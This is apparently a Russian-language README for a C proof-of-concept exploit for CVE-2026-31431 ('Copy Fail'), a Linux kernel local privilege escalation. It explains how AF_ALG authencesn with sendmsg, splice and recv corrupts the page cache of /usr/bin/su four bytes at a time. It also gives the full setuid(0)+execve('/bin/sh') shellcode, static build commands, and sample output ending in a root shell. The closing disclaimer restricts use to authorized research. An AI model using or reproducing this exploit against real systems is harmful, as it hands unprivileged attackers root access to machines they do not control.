
CVE-2026-31431 (Copy Fail) PoC — повреждение page cache ядра Linux через authencesn AF_ALG + splice()
Эксплойт локального повышения привилегий для CVE-2026-31431 (Copy Fail), написанный на C.
/usr/bin/su в смещение в файле через программные заголовки PT_LOADauthesn(hmac(sha256),cbc(aes)) с нулевым ключомsendmsg() отправляет AAD с байтами шеллкода в качестве seqno_lo (байты 4–7), с флагом MSG_MOREsplice() доставляет 32 байта страниц page cache целевого файла в качестве тега аутентификации AEADrecv() запускает дешифрование, и запись во временный буфер authesn попадает в связанные страницы page cache, записывая 4 контролируемых байта.execl("/usr/bin/su") загружает повреждённый page cache. 40-байтовый шеллкод (setuid(0) + execve("/bin/sh")) выполняется с правами setuid-rootxor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; null terminator
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; filename
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
Требуется musl-gcc или любой C-компилятор с поддержкой статической линковки:
musl-gcc -static -O2 -s -o copyfail exploit.c
Альтернативно с GCC + glibc:
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
Данный proof-of-concept предоставлен исключительно для авторизованных исследований в области безопасности и образовательных целей. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным.